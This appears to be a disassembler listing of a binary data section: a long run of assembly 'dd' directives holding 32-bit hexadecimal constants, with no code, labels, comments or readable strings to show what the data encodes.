		dd 7DD40D41h, 0CE8088D9h, 78831461h, 7DEE1B82h,	2665DC03h
		dd 10541D49h, 0F6291E21h, 0D931C54Ch, 290360CFh, 0E8CE9674h
		dd 0B4D01F0Fh, 6AD6A046h, 6958818Ch, 4901B925h,	50485C26h
		dd 9F8B998h, 3C7BF100h,	12884903h, 0E856120Bh, 0BA94202Ch
		dd 14804093h, 3DCC2A1Ah, 0B8D4F994h, 0C58B00B0h, 8D29F8DAh
		dd 110BF60Fh, 46F4BF3h,	0FC0D240h, 2E332D24h, 2C4C43Ch
		dd 89C2E032h, 584CE886h, 8C08FC1Eh, 1022384Ch, 0EF0E156Ah
		dd 0A981EC04h, 84B3881h, 5A604475h, 0F75C2F01h,	0D49371B5h
		dd 7B229423h, 65DD1509h, 0E0740003h, 0C05A5CC3h, 703E5259h
		dd 3A09EAE7h, 91DE72E3h, 4C62CF84h, 0A80A1E05h,	0DCE7C088h
		dd 0B45C02AFh, 629A01C8h, 67E2A212h, 604E6980h,	0CC70E018h
		dd 80219E3Ch, 6983477Ch, 0A482B7B3h, 6EC480E8h,	808C94E6h
		dd 99FAF55Ch, 58005696h, 0E962AEACh, 3FEBD7h, 6B2A9CD3h
		dd 43C54688h, 99072E30h, 2639428Dh, 0AD0FCFh, 0C877F328h
		dd 64E3122Dh, 4728C4F0h, 5920A4F9h, 0AFE830DDh,	2B09ABE1h
		dd 0E6589201h, 0E2F21769h, 4119848h, 844CA9BDh,	5670C2E4h
		dd 0DDFC3048h, 0BC310528h, 2BB98113h, 8FC52449h, 0E5E1A19Ch
		dd 498F39B4h, 0A0ABE815h, 0D044E0A9h, 85DA8D00h, 208BE119h
		dd 16F502FBh, 689225C1h, 0F10D7C40h, 48BA6533h,	0F622E3C4h
		dd 0E67400D0h, 4A8E4519h, 5CB8AC37h, 84444h, 313517EAh
		dd 0B4D3ED75h, 0CD3CEF09h, 90088295h, 88470571h, 4A71378h
		dd 10DC408h, 9F348A53h,	205031B5h, 44942C78h, 909AF48Fh
		dd 6C26421Eh, 0F0C685ECh, 0F04CD705h, 7FCB7350h, 618E2E00h
		dd 0A937FD3Fh, 0D6A7099Ch, 0D4A876F0h, 0FDDD6290h, 4B25AC60h
		dd 3086E880h, 402841B0h, 4600147Ch, 5921D2F5h, 2E0FE01h
		dd 18131B55h, 90680B86h, 99622CF0h, 61F71280h, 8828C178h
		dd 0ECAB610Eh, 43307474h, 6CC73208h, 0C65C297Fh, 7CA68030h
		dd 0C635C5E6h, 0E120AB89h, 5918CD77h, 4CD08672h, 0CC63180Dh
		dd 8A2F2929h, 0E78CE854h, 681F0C32h, 7D0F0E12h,	0EBC698F8h
		dd 0E82A08A4h, 0AC85B830h, 0C8202B13h, 12C7CACBh, 12FBE1Dh
		dd 0C5EEA304h, 0A679802Dh, 1DDFAE6Fh, 202E69BAh, 0A1DC8C82h
		dd 0EE6DE120h, 8318A8ADh, 8CCD54F8h, 114331DEh,	653271h
		dd 48D6D36Ch, 60007FFAh, 25BBBA86h, 650E6352h, 0C0F9612h
		dd 178041C5h, 471BE2E6h, 485F5A1Ch, 839734ACh, 8F01FF0Fh
		dd 0A0FD0029h, 0FACA108Ch, 1E0F06A7h, 0D98A3813h, 4C888B28h
		dd 0A5CF5F15h, 309A48A0h, 53B3D1A4h, 3F010999h,	90E09129h
		dd 0C201E5DBh, 5BFD46A6h, 5C62D465h, 0B2096405h, 0FCEC8889h
		dd 3B687601h, 0EB2143BFh, 4A0B6193h, 9EB80A68h,	0B2854482h
		dd 4A88C2FAh, 5891D0A6h, 2312288Dh, 280A144Ah, 0F1D37E70h
		dd 90DC5892h, 3B372C50h, 40F44A1Eh, 58265A9Dh, 3A44515h
		dd 7F46B6C1h, 4068A509h, 4E2124Fh, 8A3890EEh, 0E7001CB3h
		dd 7A857D5Bh, 0C60B039Ah, 41D5E591h, 3159AD37h,	15D63C4Ah
		dd 0A4EF2443h, 0D7AE280Bh, 1189D498h, 0C8344BEDh, 77035EC5h
		dd 198EEBE6h, 0BB7EEB5Eh, 3D0FE47Dh, 0FC05C740h, 84146846h
		dd 2B48D85Dh, 0BC64BCA4h, 8A33B26Ch, 0F7186143h, 42080169h
		dd 98242B21h, 0B828E951h, 0AED9730Ch, 54A16761h, 409108E4h
		dd 0EC09EE1Eh, 10FB4022h, 79E1DE98h, 0DFC7070Bh, 71EE5528h
		dd 0F7F65C6Fh, 1E709150h, 0E5E70109h, 38BC8664h, 0B48B0F81h
		dd 0CB8A295Ah, 23966520h, 0FD2E8BCh, 988EA082h,	202F9C41h
		dd 470277A0h, 1C137DCBh, 2DE87822h, 7C00BEE5h, 0CF3B265Bh
		dd 2ED0FD00h, 0CDB10BB3h, 97238E4h, 0BD71C180h,	0EC7A2DE0h
		dd 0C93A0500h, 2B20B49Dh, 0CDEA03h, 0DC3B4D97h,	0BB2136EEh
		dd 0E784650Fh, 0DD3E0D1h, 724C7682h, 13EA0035h,	98250633h
		dd 40C1A688h, 4EA0C783h, 40368C00h, 8974C000h, 3D6FABE7h
		dd 72AF0315h, 2E2DDE76h, 250A03B0h, 19506D00h, 0C789D92Ah
		dd 3B4C0084h, 24F182A3h, 4A9002C0h, 14953C94h, 50F9AA04h
		dd 0CCEFD8F8h, 74863212h, 80D4D800h, 3AAF1D37h,	2700B50Ah
		dd 7CC343Bh, 420098CBh,	880D10A7h, 188295C6h, 40EEA4EFh
		dd 72000BBCh, 23AAAD8h,	370B215h, 315CD076h, 70D733FBh
		dd 12F6A74Eh, 0F394201Ch, 0E0358680h, 203CF2EEh, 3AE276B1h
		dd 90780EF6h, 2800D2F2h, 2E1E1827h, 416B7Fh, 980FCEEBh
		dd 0E54785F3h, 0C3A8DF0Eh, 7279E33Ch, 0F7DF8CDh, 38BE4C0Eh
		dd 0B0EB9452h, 0CB82D6h, 8475B740h, 1B3AD120h, 77901500h
		dd 3124DB76h, 0A3300AFh, 0F4B36BCBh, 9D001019h,	0E24B51C8h
		dd 7DF3EED9h, 0B6C20035h, 3703E4D1h, 0CB00AF33h, 3E4ECC9Ch
		dd 430B16h, 0E37E502Dh,	0C18BD41Bh, 0E8816D00h,	3AF1E4D9h
		dd 0F340CEB6h, 152064E0h, 0E0F4CB8Ah, 0F93D3000h, 6B3E4917h
		dd 14A7004Fh, 0A0F88620h, 1338E74Ch, 0C02E81F1h, 0ADCD83C3h
		dd 0D98A1F01h, 0AB8C6614h, 0D7FE27F0h, 3F36FD00h, 0CA8468BBh
		dd 357E1FD4h, 77CD4120h, 3327EFh, 7962539h, 70F1973h, 71A0F057h
		dd 0FD00D53Bh, 7EF235CFh, 7A7D1BDh, 0BE18050Ah,	9FD9806Fh
		dd 10001D3Bh, 586CC249h, 0A71BE9h, 8D85CE7Dh, 0CCE113E6h
		dd 77B53D00h, 3AA8DA86h, 0C1070009h, 2CE9760Ah,	1907E640h
		dd 0B3673849h, 9BD41490h, 4E9400CBh, 0FEAC1339h, 0C302BF32h
		dd 6FB0D6B1h, 0DACC0CEh, 9FCF1077h, 74041035h, 0C513101Fh
		dd 2457C181h, 0FE046F88h, 6E88CBC0h, 0A003C89Ah, 84DE4894h
		dd 0F2D1B352h, 60349592h, 70DC956Bh, 0D17B8700h, 0DE9A5B79h
		dd 34830474h, 28A77F10h, 266C20E5h, 7278DC7Eh, 0B026E44h
		dd 0FC75EB8Bh, 9EEBCC3h, 2258209Dh, 25F8EB84h, 0F0E8E80Ah
		dd 700FA78h, 69ADCDCCh,	111257Ch, 0DD9F5FCh, 0F7294571h
		dd 0E0ED1025h, 0C8E145Ch, 5D5DDEEh, 990EA220h, 411DDE7Ch
		dd 14A84C6Eh, 0F6724FDCh, 20D42FE6h, 0F8818C20h, 3C010F54h
		dd 78F6127Bh, 1C4CDFCDh, 20D98249h, 1E3DC400h, 2A84B9Ah
		dd 80B7BE0Fh, 0E45EE240h, 0D1F350h, 6DAF5ACh, 696C9C20h
		dd 16D21107h
		dd 85C1E667h, 0D1B18023h, 0E22EB5C0h, 5833F07h,	5E4806A4h
		dd 90015A23h, 41988B09h, 1AF050A1h, 999F90ADh, 6075BC04h
		dd 2374EBB2h, 801198FCh, 1CC3B28h, 482FBA11h, 0C8B34A84h
		dd 0FC4B3F0Dh, 738268D0h, 29B702AEh, 275F0171h,	0A360A4F8h
		dd 0AE7C6121h, 0D0830081h, 0B57DEAB6h, 73014757h, 25C7BE84h
		dd 0B8806F06h, 43FBE57Bh, 89E97074h, 5A534261h,	378370A4h
		dd 6FD88421h, 0B0F0FE89h, 5ECC65FEh, 1F342910h,	657F1FCDh
		dd 978D9441h, 44803709h, 1F3554h, 12AF5A6Bh, 4787B18Ch
		dd 75F42295h, 0BA2F0180h, 80033B8Bh, 0AFFCF2h, 0DC9396D1h
		dd 0C62826C7h, 6D760C00h, 7D63B7C4h, 0D08A25C5h, 185248C8h
		dd 9E79D73Ah, 1CE49AE1h, 0E82E430Bh, 0FEC47470h, 98260937h
		dd 0A45A82D1h, 4E325C20h, 0DC2090ECh, 2D0344A6h, 0DFEB9BF7h
		dd 99E1B78Dh, 7DD009E6h, 4078CC35h, 2E009DE1h, 94D3B59Fh
		dd 74018EF3h, 1E8271B1h, 1E20EF3Ah, 6E484099h, 66974336h
		dd 790CE60Ah, 9481A875h, 0BA29B3AFh, 23A5BFDh, 5F89CC48h
		dd 0D4C8C81h, 190026CBh, 9130AE6Fh, 0B6220026h,	0AE786501h
		dd 9C8229F2h, 0C5FDB451h, 210035C5h, 460979C9h,	5A746A3Bh
		dd 6D2F2590h, 76A78860h, 25E5D22h, 0C3CC8073h, 0E0045CC1h
		dd 74308CACh, 0CC768521h, 16F9900h, 0D0BD9726h,	9139005Dh
		dd 0C8428478h, 722830ACh, 2F0C60C2h, 983E57B2h,	225A0FDCh
		dd 3883BAE3h, 80404839h, 44730990h, 0A4C87354h,	0E0818600h
		dd 0BF77EC55h, 4F1A03CEh, 0EA202CF1h, 0B583DBF0h, 1140644h
		dd 70C6FAE5h, 207227B1h, 2C0236ECh, 1B280159h, 730749Eh
		dd 4019AF8Dh, 15C1D843h, 88043C48h, 62F7807Ch, 0A63FDA71h
		dd 40121DF4h, 90202B43h, 40CDE10Dh, 0D2F8B6A4h,	0D82DA031h
		dd 98E14265h, 0D19891A9h, 3F571831h, 998084E7h,	0A02D632Eh
		dd 200E5E4h, 5C6D9017h,	603B89ADh, 62FFF114h, 6E03A893h
		dd 0F1F08676h, 0B198178Bh, 886CD620h, 0C2028A46h, 0E986421Fh
		dd 47103631h, 69481FCAh, 1E66003Fh, 26426C50h, 7441C104h
		dd 2F91D464h, 0F5220003h, 0D226A851h, 97BBF0C8h, 515804A6h
		dd 2E46600h, 0C7C203B8h, 6412273Dh, 6D833463h, 30D4B0A6h
		dd 0E67D81E8h, 4C6081FDh, 6D7C0545h, 0B8E5D5FCh, 84750318h
		dd 8FE1F0h, 6E41B838h, 4ADF406h, 0D22130C3h, 4448DD64h
		dd 5E8D8039h, 0EBB43C6Ah, 0E090AC5Ah, 9F7CD9AFh, 0D2731880h
		dd 0C77E6DF8h, 87E0744Dh, 0FCF2EBB1h, 100C3190h, 0EB8A24h
		dd 512EC7B3h, 46B86809h, 45BF8E0Ch, 4081B07Ah, 0E82CDE90h
		dd 463B100Bh, 0FCE2946Eh, 0CCC58B68h, 0EBB52180h, 13C7A389h
		dd 0F00AE635h, 4349F080h, 0A1B306E0h, 13F930D1h, 0B429CD1Dh
		dd 6504C7F4h, 320D4912h, 183028D9h, 9B297D8Ch, 72BB1128h
		dd 0EAAE7D00h, 0C5F110C1h, 0C8C0C1BFh, 83750A25h, 0ADF88380h
		dd 51804B9h, 1D7CCA28h,	291EA8ECh, 0D3BA3062h, 3110DA99h
		dd 0D64FA001h, 8FA3B227h, 47E0002Fh, 9303EFFCh,	625FFB02h
		dd 0C42CB1ACh, 4D3F2C10h, 9B04411Ch, 784B110Dh,	19036300h
		dd 2589DD09h, 39840579h, 0E3A9B847h, 0AEED9851h, 8601092h
		dd 90A4CEA0h, 1D21203Ch, 465D347h, 82E73F0Ch, 3C743740h
		dd 0D1072EEAh, 50A06894h, 4CF58E6Dh, 0B103403h,	23B90024h
		dd 0AED6C41Ah, 49A0250Fh, 328ECE0h, 5C808E5Ah, 5859E105h
		dd 0D18544A7h, 0B5A821DFh, 0D48104AAh, 0F037EBEh, 0EE5341D8h
		dd 50541E4Ch, 0B3EA9E8h, 54AF0114h, 9635988Ch, 0EA2A7052h
		dd 11349D44h, 0D8628009h, 201699h, 0C03B874Fh, 91D7942Bh
		dd 69C5E613h, 914C74F0h, 18BF7928h, 0AC2E00F0h,	6D774BBBh
		dd 149FDA72h, 43B60030h, 7BF59B2h, 7A09CEE3h, 0D899AC66h
		dd 246EEEB4h, 80E0955Ch, 0F91B2465h, 7D013769h,	4DBC23Fh
		dd 2C47E115h, 0EF743130h, 0C02013BEh, 8B9A00A4h, 3776EC66h
		dd 67788C0Fh, 0BD448196h, 70645B5Ch, 0FE7F697h,	5F90D8BBh
		dd 6E6E7BBEh, 0CCA460F3h, 86237C1Fh, 13321139h,	0B400344Dh
		dd 0E535F7AFh, 0B4D203EAh, 0CE8DD446h, 0FD6DD0A0h, 0B8834116h
		dd 702E840Bh, 0E6D20744h, 3B91A9CDh, 0D07E5005h, 142D94DCh
		dd 52FBF0A1h, 0F097C7D8h, 75870A91h, 5A9290E3h,	0A725056Ch
		dd 9114970Dh, 0EA89800Ah, 388FBD1Ch, 6AB2C7DBh,	0F8337890h
		dd 46FC6FEBh, 0D2270h, 0F2EBB630h, 2739F65Ch, 2EAF9E12h
		dd 467D6809h, 141620ACh, 0C2D9D003h, 0C262C80Bh, 0C16CCD63h
		dd 58AD4D8Ah, 6C097DB8h, 0D0FBC9B1h, 16389828h,	208B5CDh
		dd 0F0C84728h, 95604884h, 77588210h, 7D0498ECh,	44C1C2CCh
		dd 9A204B62h, 994CC7Fh,	306FCF5Ah, 0D46E482h, 42117711h
		dd 0BC206A28h, 3D1FD7F5h, 0D0D0CB46h, 1823887Ah, 9587D91Fh
		dd 7C0F2B12h, 1540C18Bh, 0FC622143h, 3830805Ah,	1137F104h
		dd 0B730C0B3h, 0C262B5D7h, 84199878h, 0DB8F8853h, 3BC905A3h
		dd 18A69C40h, 311EC03h,	5C094449h, 4C038435h, 659520DCh
		dd 702AC2ADh, 6CCA000Bh, 81B85057h, 30943FF0h, 7C607A44h
		dd 0C17437CCh, 72990087h, 8306DBCCh, 0FE589500h, 43F3890Ch
		dd 9FE8E8AFh, 0C132B482h, 0DE223450h, 0F1E6FAB9h, 0D9909457h
		dd 8AFA6h, 526BC59Bh, 6ED177DBh, 40329A01h, 10440EABh
		dd 64ACA9C0h, 647DA939h, 0C145DC1Ch, 54483094h,	71A08F4Ch
		dd 5322D1E0h, 91125882h, 0A80806B5h, 0EBB8C077h, 884EFC72h
		dd 25002Ch, 0C2CBEB89h,	0E5F753C4h, 385FA1Fh, 46B47089h
		dd 0A7833FD4h, 71C5FC09h, 3C9A060h, 3F08BB55h, 0F8486C13h
		dd 0AE71C131h, 0D0BEA4BDh, 6B40BEC4h, 0A3E0AE7Ah, 0B2F87007h
		dd 15218A5Ah, 51C8CB24h, 0C456059Bh, 6079A762h,	38CC6390h
		dd 0E474C12Bh, 9C007611h, 936ACC75h, 920008C2h,	0FCE0C597h
		dd 0BA5C51DDh, 0BBFE2D10h, 9358BCC4h, 882D1084h, 1CBA3B71h
		dd 8476C882h, 18E8B14Bh, 2122ED2h, 5CCB621Ah, 69C07788h
		dd 0E6354h, 0F790CF59h,	7218131Ch, 157002BDh, 2634E6E8h
		dd 5B3D348h, 885DFDA2h,	0C9017C10h, 0E0D76BC8h,	0D430D22Fh
		dd 794166h, 7F5C5F4h, 5EFD0D0h,	0C754E3E5h, 9C8088A8h
		dd 5003BA53h, 0F5E081B5h, 4A002585h, 8A248B51h,	8F00EC21h
		dd 0B64D8446h, 0B45D4CB7h, 0CD73FE04h, 87C80D9h, 109820Eh
		dd 40B037E2h, 0BBF5E5B4h, 0D9AF07A0h, 4C511830h, 8FE01026h
		dd 32008388h, 6F9002F1h, 90FDA7CEh, 3AF92DFDh, 26DC7C48h
		dd 2C6F70D3h, 566D4400h, 0D2725A6Bh, 4B0E35Ch, 0C7FB2E0Ch
		dd 0CE2ACF2h, 7A7330h, 2E052FD1h, 4DCFB7C0h, 462B481Fh
		dd 6600D828h, 0F21A31F9h, 13AB206Bh, 0C254EE3Fh, 784561F8h
		dd 5B6077E4h, 7304E36Eh, 0A071B8Eh, 3E2520C1h, 8380832Ah
		dd 6A813181h, 82B7F808h, 4C9FBA29h, 2DD50848h, 0CF126896h
		dd 0EB00D0A9h, 0FC964A36h, 22007B76h, 4518C624h, 6994BB8Eh
		dd 601DB0B1h, 0FF807411h, 4D3F2621h, 86E6EF00h,	0D44520CBh
		dd 2BBE041Dh, 0B57D64D2h, 1023E1A8h, 0BADA5C18h, 0D1F091C4h
		dd 0DD1871h, 95342246h,	4A842667h, 149EDE02h, 0A47ADF73h
		dd 5C81758Ch, 0B838B1B9h, 0E4674800h, 0C7F70207h, 8C155001h
		dd 5E81CC62h, 41C4020h,	6B730436h, 88188E6Eh, 4F56C10Ah
		dd 5D0870ADh, 90C20BDh,	0EA2B77C0h, 7F3C3B52h, 0DFB1AF0Bh
		dd 37135C70h, 0BC4002E1h, 46BAF72Eh, 0B4848AA7h, 0AE756035h
		dd 412925B1h, 670F9416h
		dd 0A0F7AE7Eh, 4E43A5A6h, 595A028Dh, 8276D221h,	426130C1h
		dd 66201FC4h, 482E0BE6h, 7384BCDAh, 1F70E4C4h, 9D656927h
		dd 80359104h, 0C68536BDh, 72E4071Eh, 222E3AAh, 0C881BBCDh
		dd 0F0EC9E93h, 78A783DFh, 9260B964h, 7B05E63Ah,	0E4D8EB2Ah
		dd 38690C1h, 5408E501h,	0CDC08CD0h, 690F9401h, 9C78D251h
		dd 0C0A5EDCh, 7D2643A4h, 0FB3A3FC1h, 0F4D85B4Dh, 8C510148h
		dd 3927B759h, 4C8870A6h, 0B18B8509h, 2F054E3h, 0BF2B433Dh
		dd 82130850h, 0ACC1F598h, 0EC5F96E8h, 5A20E298h, 86529303h
		dd 0BB029A0h, 721B4858h, 0E885CC40h, 18C0A973h,	0CA1C218Bh
		dd 571102B7h, 25E9DDEEh, 0E2084CF1h, 46B300A7h,	0B9DAAF8Eh
		dd 8FBC98B7h, 4FB22F53h, 0A4FB1463h, 0D6BE00FFh, 11028E69h
		dd 0F8756640h, 11689728h, 2CEA81B6h, 1034EFB2h,	1812096Dh
		dd 74811D3Ah, 0FE04A33Fh, 7466B089h, 188E44A1h,	7E1F0936h
		dd 0A465C986h, 1F3E4B80h, 0B0F12EFh, 0C0755FCFh, 930014C4h
		dd 0AECCECDDh, 1FE49DE9h, 137FD2Eh, 0A9F830F7h,	64EC728Fh
		dd 0C360B578h, 86237D1Fh, 46443BD1h, 7F1FCB00h,	0CE6D9667h
		dd 1A03014h, 0BE35C851h, 0BD039FDh, 0A4FC2E66h,	7A604490h
		dd 0C125CDCCh, 4C0C966Ch, 57018453h, 0FA3794A5h, 344B7E43h
		dd 0A11882A2h, 0A13C5BC0h, 18765130h, 3A8FAC8h,	6D5C8DABh
		dd 0B002C551h, 7DCDE6CEh, 9E74580Ch, 2463B7Ch, 0FC78EBB6h
		dd 581854B8h, 0EB128F2Fh, 0D804A6D6h, 6C096742h, 23442A00h
		dd 8C9E04E6h, 6AB6C600h, 60264207h, 0E644E109h,	63787E0Fh
		dd 0ED52A8A1h, 30820475h, 0C7C6048Ch, 6D0BB804h, 0AAECE85Ch
		dd 7587EE5h, 0A3762A90h, 5BE8700Ch, 7200851Dh, 4A326C20h
		dd 303DC734h, 8440077Eh, 8688465Ch, 768D7EFDh, 3968009Eh
		dd 35ACFA66h, 0D7381FB4h, 0D4A89C4h, 6E883040h,	29BE17AEh
		dd 1C0CB99h, 0A4AE7768h, 0AB20F60Bh, 0F0D1E82Dh, 985A0C0Ah
		dd 25D1A83Dh, 14132E4Ah, 31C8288Bh, 3CD68AC0h, 0E58002B0h
		dd 42A149D0h, 7C349057h, 97E7004Eh, 94F9444h, 0DAFC7727h
		dd 0FDC1D917h, 73F8A800h, 5FB7D366h, 97C5690h, 8050996Ah
		dd 1C1274Ch, 0BA6C73D0h, 842EBDC5h, 0AD68C8A0h,	8010BF48h
		dd 8BBD33E2h, 32E14E98h, 108372D8h, 2A7071Ah, 20DABB45h
		dd 62843A5Dh, 19AF9538h, 3EE71174h, 0BE0FB6D0h,	0FBE2008Ch
		dd 0D9F88458h, 0DE30BE61h, 167ECA1Dh, 3E184890h, 9C8BCABCh
		dd 0D4C0BB88h, 28F08653h, 2130B115h, 0DC086732h, 9417694Eh
		dd 0DD80A311h, 9D87294Ah, 4C946C00h, 0FC7AA232h, 8E5CBCCDh
		dd 0E5041079h, 0B244E3A4h, 7F413275h, 4D94413Dh, 2A42018Fh
		dd 0E52C922Eh, 0BD80F893h, 5B0054B4h, 80E764B0h, 0B01B03D3h
		dd 26ED2130h, 422F6291h, 0A05D8090h, 16B09D20h,	0C08A25E0h
		dd 14220B54h, 0E8F0A24Ch, 0D97C8C3Ch, 73BDF218h, 0A0D481C0h
		dd 856FAE30h, 37808911h, 3186791Fh, 449695h, 8F1F3F4Ah
		dd 489F8E16h, 18C6DA00h, 0E1154044h, 8D4A8B7h, 357B24C0h
		dd 0E58F07FCh, 0B1DEF08Eh, 30294D5h, 818230FFh,	0D0C0E0BEh
		dd 48FE78C7h, 0A6246864h, 0AF5B8B14h, 7811001Dh, 8C7A1080h
		dd 9D098BC7h, 5C8FB1A1h, 99FD0630h, 18FFF0ACh, 801F0838h
		dd 39C4D986h, 1F60494Fh, 0E0727CFCh, 8F045491h,	44BA6BB9h
		dd 0F4CF3040h, 1F03F1F0h, 2E51F882h, 0DAE080B8h, 0C90D050Bh
		dd 122DC99h, 0F92DCDB7h, 94082AC3h, 39718068h, 8E43DE3Ah
		dd 2B34B002h, 6008609Dh, 28861338h, 0A8290FBh, 0E67559FCh
		dd 775F001Ch, 0FB2C7E22h, 72008DFAh, 0ECCBFC27h, 0F0CA9BB2h
		dd 82F609AAh, 84596024h, 8418B979h, 6BBCBA00h, 0FE39F709h
		dd 121D3BDFh, 0B1CA18CCh, 90D1418Ch, 8482045Ch,	15C5E91h
		dd 0DC23931Ch, 8554308Eh, 0B021A85Eh, 0FC0014CAh, 7D54CCEFh
		dd 970044A4h, 33023282h, 24DA53B7h, 1618B310h, 133C21BBh
		dd 0BD9BF029h, 0ED380CACh, 0B1F51388h, 0C0380027h, 0C136CC79h
		dd 3C2C644Eh, 0CC7B259Eh, 1F00CC5Bh, 922DC1DAh,	58A2977Fh
		dd 7E18B77Dh, 0D7D08060h, 843B26h, 0A1066109h, 0E3E13FF8h
		dd 18E0034h, 0B67D2028h, 2C728253h, 37E50044h, 3C5984B3h
		dd 620A39E8h, 370ACD2h,	2FF205ACh, 5FD80D38h, 420055FFh
		dd 0AA08F8BEh, 4EC5E8CBh, 231C2E62h, 0CF77004Bh, 43FF3257h
		dd 0DDFA1D1Ch, 0C5043F02h, 805C74FCh, 97A7ED99h, 6800A8BFh
		dd 0C7D34896h, 705E20Ch, 309CD9CCh, 1C775FC1h, 0EDF2622Ch
		dd 3B22500Bh, 124C81DBh, 2F8238h, 0FB4A94F8h, 0B2028D44h
		dd 63B6A781h, 20E07A25h, 29552269h, 0EC046890h,	24098C09h
		dd 0BAB4C6h, 0A3FDDC7Dh, 0CA9405A9h, 8E6063F8h,	0C0BE8840h
		dd 0FBAD1D5Ch, 7307A9E2h, 0B253C476h, 8C04F86h,	31C1DDEFh
		dd 4CA4FC22h, 69E3E000h, 845B7BB5h, 7C78F3A5h, 0F68C75B8h
		dd 70F4D43Fh, 42B0AA2Ch, 0D1207D16h, 30D22141h,	62905F88h
		dd 440FB96Fh, 65E8C73Eh, 20CDC5F0h, 81043832h, 0ED0AFEF8h
		dd 248B718h, 3C25C5E6h,	0F06050D2h, 2DFDF9F9h, 900A7CA8h
		dd 8C362C22h, 0B0341500h, 0B2AE7280h, 38997929h, 0AE7B64C0h
		dd 4BEC97h, 0F4107AEEh,	40488ACEh, 9CD0FC5Bh, 0BCEA3B28h
		dd 376D00F8h, 66925329h, 0A58310C5h, 4BF264B2h,	0AE5430h
		dd 65032A6Eh, 8784EB24h, 4DC42814h, 742E17B0h, 0CA36033h
		dd 692A11B1h, 1C229620h, 0D3DF2275h, 508D4205h,	0C8082987h
		dd 0DFC50A5Bh, 69046F28h, 2CF050Dh, 88EA4C93h, 93EFF66h
		dd 9635E733h, 1592882h,	2E28240Bh, 0DC6964B5h, 0DE413ACh
		dd 0BEEBE00h, 66FA98F9h, 9DE721Eh, 0CAE3DC7h, 1554749Eh
		dd 0F8C56AC4h, 644D7992h, 8868F982h, 58CBCBCh, 5077ECDCh
		dd 0F06186F3h, 883DBD21h, 1749A886h, 804C11E8h,	8E46CEF5h
		dd 0AC8104A6h, 0BD95A085h, 761D0B24h, 0B468160Bh, 33ED4018h
		dd 58000587h, 5A3B8955h, 52EA4ABAh, 0CB889090h,	8BDC93h
		dd 0DAC00A88h, 37DFF69h, 0B215C573h, 210B6F8Dh,	8E4409E7h
		dd 5C968AE8h, 647DAE08h, 200C22C0h, 24E63571h, 48D69B5Ch
		dd 3FDF10B4h, 4991FD38h, 0ECD0225h, 482B4DF4h, 4D64D2ECh
		dd 9F4F6824h, 3722140h,	5A848A53h, 1C5610Dh, 9020380Bh
		dd 0BFA62E6Fh, 7E0E050Ch, 0DF00475h, 0C0A04E10h, 0F0847B83h
		dd 5035F1B9h, 50485872h, 890FA611h, 58305362h, 489CF3C8h
		dd 2318F35Eh, 0C87A2400h, 4E079CA3h, 40720CD6h,	306146E5h
		dd 84DE3B27h, 20EE73D8h, 0EE29C9FCh, 53413D1Fh,	2508017Eh
		dd 75DDFF4Ah, 74720461h, 883075F2h, 0D80A1CAFh,	2698496Bh
		dd 9D279816h, 91749DABh, 4A918074h, 2AD3D25h, 27C6BD9h
		dd 905F489Eh, 2342440h,	0F92EA079h, 0C748C44h, 84825944h
		dd 0B202A20h, 84990D65h, 8F9F23Ch, 17184AD9h, 765ED902h
		dd 77B5FDE6h, 0C822D480h, 300B358h, 9A92866Ah, 0BBC06B94h
		dd 0F5FD03B0h, 31002D11h, 0A41E36F3h, 0BB5E94h,	257E7D50h
		dd 0E04C88C8h, 1530AC02h, 7932FCEDh, 180B79E4h,	69031F66h
		dd 0C420E7BBh, 0E8893AF0h, 1F001D78h, 92FEFA9Dh, 75754F81h
		dd 610B277Eh, 5583FC79h, 0D81C9166h, 4C24AE94h,	0A624CCDFh
		dd 62728130h, 24292DCCh, 1F2CB2E0h, 8CA93023h, 0AD1876D1h
		dd 0A9FAD271h, 0F5B1970Eh, 27594BE6h, 44E253F4h, 0ECDC045Ch
		dd 8C71B8E8h, 43A5A30Bh, 9E8C5127h, 0C607A05Dh,	0D9DB3177h
		dd 614E02D9h, 5EF87CA4h
		dd 8A003846h, 5B123731h, 0EF0096B4h, 0A4F8D05h,	615C6D77h
		dd 0E085F143h, 0A9A1E495h, 3A2BAF03h, 0E81F4ED9h, 1C179A6h
		dd 0FC6AF0C7h, 0D9258648h, 2078A1h, 0E8F81D42h,	5796C5h
		dd 114450Dh, 18270363h,	2DC87860h, 0C4A6616Dh, 1D8AF1E0h
		dd 357773BFh, 720173ECh, 0F8361930h, 75E24FCDh,	96666483h
		dd 1004C6EBh, 0C730D4C1h, 76E278A2h, 273E30h, 9A38748Ah
		dd 0E682CC4Fh, 0B22E040Bh, 341859ABh, 0EC5CA8C0h, 7D3C8CB6h
		dd 58B527DAh, 5D0D4464h, 23A8489Dh, 53F600D4h, 0DDB20F0h
		dd 0A6006DE2h, 56D7708Ch, 7585B1Bh, 1DCDC4CBh, 0F080B9EAh
		dd 0B365F823h, 9E800891h, 510E4AD2h, 27487983h,	30A0FCC2h
		dd 0EF3601D8h, 6CE0703h, 983DA030h, 6A7AD6h, 0C52E6226h
		dd 12C79CCh, 0CE930E0Ah, 0ADC6DC77h, 0D0B9C08Eh, 75D7F3D9h
		dd 4F71200h, 802E32ABh,	24650F05h, 4A60DFC3h, 0F9C7D00Ch
		dd 0E5967D01h, 0C87F54E8h, 0F5FCD440h, 943B4939h, 432B8A1Ch
		dd 0BE706BAh, 0B6AE8EC8h, 8498ED50h, 5B4E84B0h,	0B37F4B0h
		dd 5DBCBD9h, 0E8C9508Fh, 0C61740FAh, 0C0422635h, 7742640Eh
		dd 0E6192010h, 7FB7C518h, 9985AD70h, 0FDE705C8h, 29D49025h
		dd 0CC941FBAh, 73135809h, 0EB197050h, 0E5209200h, 30EC430h
		dd 6888E749h, 4A003EB1h, 0FEBA871Eh, 4B6D09D8h,	6C7E566Ch
		dd 0B7513E00h, 27F88581h, 8C48B55Dh, 0D8D32A4Dh, 0E3DD3CCBh
		dd 4BA6201h, 0D6E49294h, 3A02262Bh, 2C390954h, 0CD4174D4h
		dd 2100228Dh, 6AE7E0D2h, 20076022h, 39C5FC44h, 7916D4B6h
		dd 8DD56004h, 54244CF2h, 22D74010h, 0CD09E817h,	0F10D586Ah
		dd 18B5D1D8h, 0F74B00DAh, 67FBC2BCh, 0B50C1AE4h, 705FC74Ah
		dd 59DC8865h, 3FFFE0A0h, 4B106380h, 23A42E49h, 595D0EBCh
		dd 1EE0CC40h, 0FF04E4EEh, 84457C0Bh, 0E48EAC84h, 0FC18088h
		dd 3C204A5Bh, 0F1978870h, 0CCF5B53Eh, 582F5ADCh, 41003923h
		dd 6469968Eh, 17187CB9h, 0D1E704F4h, 2D244250h,	68EC278Ch
